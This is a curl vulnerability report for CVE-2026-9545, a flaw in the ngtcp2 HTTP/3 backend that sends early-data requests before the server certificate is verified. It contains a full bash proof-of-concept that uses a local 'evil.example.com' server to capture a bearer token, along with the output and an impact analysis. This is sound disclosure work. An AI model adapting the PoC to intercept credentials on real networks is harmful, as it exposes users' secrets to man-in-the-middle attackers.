curl · Report #3752888
CVE-2026-9545: exposing HTTP/3 early data
How it was found
Summary:
When the ngtcp2 HTTP/3 backend reuses a TLS session that advertises early data support, cf_ngtcp2_on_session_reuse() initializes the HTTP/3 connection state and marks the connection filter as connected before the new QUIC/TLS handshake has completed. The request send path can then reach cf_ngtcp2_send() while peer verification for the new connection is still pending. cf_ngtcp2_send() checks ctx->tls_vrfy_result only at function entry, then can process ingress, open an HTTP/3 stream, buffer request bytes, and flush egress without requiring that the peer has already been verified.
-
cf_ngtcp2_send(): the ngtcp2 send path rejects only a preexisting verification error. It does not requirectx->tls_handshake_completeor a successful peer verification before opening an HTTP/3 stream, buffering request bytes, or flushing egress./* handshake verification failed in callback, do not send anything */ if(ctx->tls_vrfy_result) { result = ctx->tls_vrfy_result; goto denied; } (void)eos; /* use for stream EOF and block handling */ result = cf_progress_ingress(cf, data, &pktx); if(result) goto out; if(!stream || stream->id < 0) { result = h3_stream_open(cf, data, buf, len, pnwritten); } ... result = Curl_bufq_write(&stream->sendbuf, buf, len, pnwritten); ... if(*pnwritten > 0 && !ctx->tls_handshake_complete && ctx->use_earlydata) ctx->earlydata_skip += *pnwritten; DEBUGASSERT(!result); result = cf_progress_egress(cf, data, &pktx);
Affected version
curl 8.21.0-DEV
Steps To Reproduce:
Environment
curl commit: f2692b54f74b8bb6058ecd3cf4abcc96e8ab36ba
curl subject: docs: note CURLOPT_PINNEDPUBLICKEY has no effect on legacy LDAP backend
curl 8.21.0-DEV (Linux) libcurl/8.21.0-DEV quictls/3.1.7 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 nghttp2/1.59.0 ngtcp2/1.8.1 nghttp3/1.6.0
Features: alt-svc AsynchDNS brotli Debug HSTS HTTP2 HTTP3 HTTPS-proxy IDN IPv6 Largefile libz PSL SSL SSLS-EXPORT threadsafe TLS-SRP UnixSockets zstd
PoC script
The PoC below performs one valid HTTP/3 request to cache an H3 TLS session, restarts the server with a distinct ticket key and an evil.example.com certificate, then performs a second request to https://target.example.com:4433/.
#!/bin/bash
set -euo pipefail
export LD_LIBRARY_PATH="/src/curl-b96/build_poc/lib:/opt/quictls/lib:/opt/ngtcp2/lib:/opt/nghttp3/lib"
export PATH="/opt/ngtcp2/bin:$PATH"
tmp=$(mktemp -d)
curl_bin=/src/curl-b96/build_poc/src/curl
server=/opt/ngtcp2/bin/qtlsserver
url=https://target.example.com:4433/index.html
connect_to=target.example.com:4433:127.0.0.1:4433
secret=REQUEST_SECRET_b96a057fce65e346
server_pid=
cleanup() {
if [ -n "${server_pid:-}" ]; then
kill "$server_pid" >/dev/null 2>&1 || true
wait "$server_pid" >/dev/null 2>&1 || true
fi
rm -rf "$tmp"
}
trap cleanup EXIT
make_certs() {
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \
-keyout "$tmp/ca-key.pem" -out "$tmp/ca.pem" \
-days 1 -nodes -subj "/CN=PoC Test CA" >/dev/null 2>&1
printf 'subjectAltName=DNS:target.example.com\n' > "$tmp/good.ext"
openssl req -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \
-keyout "$tmp/good-key.pem" -out "$tmp/good.csr" \
-nodes -subj "/CN=target.example.com" >/dev/null 2>&1
openssl x509 -req -in "$tmp/good.csr" -CA "$tmp/ca.pem" -CAkey "$tmp/ca-key.pem" \
-CAcreateserial -out "$tmp/good-cert.pem" -days 1 -extfile "$tmp/good.ext" >/dev/null 2>&1
printf 'subjectAltName=DNS:evil.example.com\n' > "$tmp/evil.ext"
openssl req -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \
-keyout "$tmp/evil-key.pem" -out "$tmp/evil.csr" \
-nodes -subj "/CN=evil.example.com" >/dev/null 2>&1
openssl x509 -req -in "$tmp/evil.csr" -CA "$tmp/ca.pem" -CAkey "$tmp/ca-key.pem" \
-CAcreateserial -out "$tmp/evil-cert.pem" -days 1 -extfile "$tmp/evil.ext" >/dev/null 2>&1
}
start_server() {
local cert=$1 ticket=$2 docroot=$3 log=$4
mkdir -p "$docroot"
printf '%s\n' "$cert response" > "$docroot/index.html"
env TICKET_KEY_FILE="$ticket" "$server" --early-response -d "$docroot" '*' 4433 \
"$tmp/$cert-key.pem" "$tmp/$cert-cert.pem" > "$log" 2>&1 &
server_pid=$!
sleep 1
}
stop_server() {
kill "$server_pid" >/dev/null 2>&1 || true
wait "$server_pid" >/dev/null 2>&1 || true
server_pid=
}
make_certs
head -c 80 /dev/urandom > "$tmp/good.ticket"
head -c 80 /dev/urandom > "$tmp/evil.ticket"
start_server good "$tmp/good.ticket" "$tmp/good-root" "$tmp/good-server.log"
"$curl_bin" --http3-only --tls-earlydata \
--ssl-sessions "$tmp/sessions.txt" \
--cacert "$tmp/ca.pem" \
--connect-to "$connect_to" \
-sS -o /dev/null "$url"
stop_server
start_server evil "$tmp/evil.ticket" "$tmp/evil-root" "$tmp/evil-server.log"
set +e
"$curl_bin" --http3-only --tls-earlydata \
--ssl-sessions "$tmp/sessions.txt" \
--cacert "$tmp/ca.pem" \
--connect-to "$connect_to" \
-H "Authorization: Bearer $secret" \
-d "secret=$secret" \
-sS -o /dev/null "$url" > "$tmp/evil-client.log" 2>&1
phase2_rc=$?
set -e
stop_server
request_seen=no
verify_failed=no
if grep -qi "authorization: Bearer $secret" "$tmp/evil-server.log"; then
request_seen=yes
fi
if [ "$phase2_rc" -eq 60 ] &&
grep -q "no alternative certificate subject name matches target hostname 'target.example.com'" "$tmp/evil-client.log"; then
verify_failed=yes
fi
grep -i "authorization: Bearer $secret" "$tmp/evil-server.log" | head -1 || true
grep "no alternative certificate subject name matches target hostname 'target.example.com'" "$tmp/evil-client.log" | head -1 || true
echo "TEST_RESULT request_seen=$request_seen verify_failed=$verify_failed curl_exit=$phase2_rc"
test "$request_seen" = yes
test "$verify_failed" = yes
Output
http: stream 0x0 [authorization: Bearer REQUEST_SECRET_b96a057fce65e346]
curl: (60) SSL: no alternative certificate subject name matches target hostname 'target.example.com'
TEST_RESULT request_seen=yes verify_failed=yes curl_exit=60
Again: there is no bug-bounty for curl. We do not offer any rewards, only proper credits.
The initial discovery was made by AI. All technical claims have been reviewed and revised by human experts.
Reporting on behalf of Autonomous Code Security (ACS) team at Microsoft.
Impact
Summary:
A MITM attacker can see the data of the request sent as early data.
Expected to be moderate for affected configurations, with narrow prerequisites. Triggering the issue requires all of the following:
- curl/libcurl is built with the ngtcp2 HTTP/3 backend and a TLS backend that supports early data.
- The application enables early data for the transfer.
- The client has a cached H3 TLS session for the target host that allows early data.
- The first request on the new connection contains sensitive request material such as cookies, bearer tokens, or a request body.
- An active network attacker can route the new connection to a TLS endpoint that does not validate for the target hostname.
- Certificate verification remains enabled.
The demonstrated impact is request disclosure. The PoC does not demonstrate attacker response acceptance: curl returns certificate verification failure and no response body is delivered.